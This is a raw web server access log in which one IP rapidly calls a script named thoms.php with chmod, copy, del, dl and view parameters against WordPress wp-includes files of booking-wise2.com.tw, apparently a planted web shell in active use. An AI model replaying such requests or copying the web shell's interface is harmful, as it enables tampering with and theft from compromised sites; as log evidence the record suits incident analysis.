45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?chmod=sitemaps&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 200 12172 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frss-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frss-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:35 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?dl=ms-network.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?dl=template-canvas.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffonts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffonts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:35 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 200 19636 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:35 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:35 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:35 -0400] "GET /thoms.php?chmod=user.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:36 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 200 12354 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:36 -0400] "GET /thoms.php?chmod=default-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:36 -0400] "GET /thoms.php?del=wp-diff.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:36 -0400] "GET /thoms.php?del=php-compat&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59397 "http://163.245.207.76:443/thoms.php?del=php-compat&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:36 -0400] "GET /thoms.php?dl=class-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:36 -0400] "GET /booking-wise2.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:36 -0400] "GET /thoms.php?dl=media-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 200 15740 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?chmod=bookmark.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 200 18573 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?del=option.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59409 "http://163.245.207.76:443/thoms.php?del=option.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?del=revision.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=revision.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:37 -0400] "GET /thoms.php?dl=script-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /booking-wise2.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /booking-wise2.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 200 40645 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /thoms.php?chmod=registration-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 200 13470 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:38 -0400] "GET /thoms.php?del=class-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 200 21052 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /booking-wise2.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /thoms.php?dl=rss-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 200 33510 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:39 -0400] "GET /thoms.php?del=class-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fembed-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fembed-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:40 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:40 -0400] "GET /thoms.php?chmod=php-compat&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:40 -0400] "GET /thoms.php?chmod=theme-compat&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:40 -0400] "GET /thoms.php?dl=rest-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:40 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblocks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11839 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblocks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 200 13643 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:40 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /booking-wise2.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 200 13365 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?del=customize&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=customize&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?chmod=feed-atom.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:41 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /booking-wise2.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 200 15843 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:42 -0400] "GET /booking-wise2.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
